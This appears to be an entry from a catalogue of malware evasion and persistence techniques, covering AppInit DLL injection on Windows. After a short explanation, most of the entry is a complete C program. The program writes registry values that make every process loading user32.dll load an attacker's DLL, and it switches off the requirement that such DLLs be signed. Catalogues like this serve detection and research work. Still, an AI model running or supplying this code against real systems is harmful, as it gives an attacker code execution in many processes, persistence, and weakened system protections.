AppInit DLL Injection

Created the Saturday 17 August 2024. Updated 4 months ago.

Any Dynamic Link Libraries (DLL) that are specified within the AppInit_DLLs registry key values are loaded by user32.dll into any process that utilizes user32.dll. So by modifying the AppInit_DLLs registry key value and pointing it to a malicious DLL, an attacker can force the system to load their DLL into every process that utilizes user32.dll and force it to execute their code.

Technique Identifiers

U1244 T1546

Featured Windows API's

Below, you will find a list of the most commonly used Windows API's that are currently utilized by malware authors for current evasion technique. This list is meant to provide an overview of the API's that are commonly used for this purpose. If there are any API's that you feel should be included on this list, please do not hesitate to contact us. We will be happy to update the list and provide any additional information or documentation that may be helpful.

Code Snippets

Description

Requires Administrator privileges

Targeted DLL: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows

The following keys must be set to the respective values: - AppInitDLLs - Set this to the full path of the malicious DLL (C:\Users\Administrator\Desktop\inject.dll) - LoadAppInit_DLLs - 1 - RequireSignedAppInit_Dlls - 0

Then any process that uses WinAPI within Windows will trigger execution of our malicious DLL

#include <windows.h>
#include <stdio.h>

char maliciousDLLPath[] = {"C:\\Users\\Administrator\\Desktop\\inject.dll"}; //Change this to malicious DLL
char appInitDllsPath[] = {"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows"};
char appInitDllsSubkey[] = {"AppInit_DLLs"};
char appInitDllsLoadPath[] = {"LoadAppInit_DLLs"};
char appInitDllsRequireSignedPath[] = {"RequireSignedAppInit_DLLs"};
DWORD signedValue = 0x0;
DWORD loadValue = 0x1;

int main() {
    HKEY hKey;
    LSTATUS openResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, appInitDllsPath, 0, KEY_ALL_ACCESS, &hKey);
    if (openResult != ERROR_SUCCESS) {
        // Error encountered opening registry key
        if (openResult == ERROR_FILE_NOT_FOUND) {
            printf("Key not found!\n");
            return 0;
        } else {
            printf("Error opening key!\n");
            return 0;
        }
    } else {
        // Successfully opened registry key
        printf("Opened key!\n");
        LSTATUS setAppInitDllsSubkeyResult = RegSetValueEx(hKey, appInitDllsSubkey, 0, REG_SZ, maliciousDLLPath, sizeof(maliciousDLLPath));
        if (setAppInitDllsSubkeyResult != ERROR_SUCCESS) {
            printf("Error encountered when setting AppInit_DLLs path\n");
            return 0;
        } else {
            printf("Successfully set path to malicious DLL for AppInit_DLLs path\n");
        }
        // REG_DWORD 
        // Data will be HexValue
        LSTATUS setAppInitDllsLoadPathResult = RegSetValueEx(hKey, appInitDllsLoadPath, 0, REG_DWORD, (BYTE*)&loadValue, sizeof(0x1));
        if (setAppInitDllsLoadPathResult != ERROR_SUCCESS) {
            printf("Error encountered when setting the DLLs load path to 1\n");
            return 0;
        } else {
            printf("Successfully set DLLs load path to 1\n");
        }

        LSTATUS setSignedPathResult = RegSetValueEx(hKey, appInitDllsRequireSignedPath, 0, REG_DWORD, (BYTE*)&signedValue, sizeof(0x0));
        if (setSignedPathResult != ERROR_SUCCESS) {
            printf("Error encountered when setting the signed DLLs path\n");
            return 0;
        } else {
            printf("Successfully set signed DLLs path to 0\n");
        }

        RegCloseKey(hKey);
    }

}

About Author Open Snippet

Author: Issac Briones (1d8) / Target Platform: Windows

Contributor

Issac Briones (1d8)

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.

Event Triggered Execution: AppInit DLLs, Sub-technique T1546.010 - Enterprise | MITRE ATT&CK®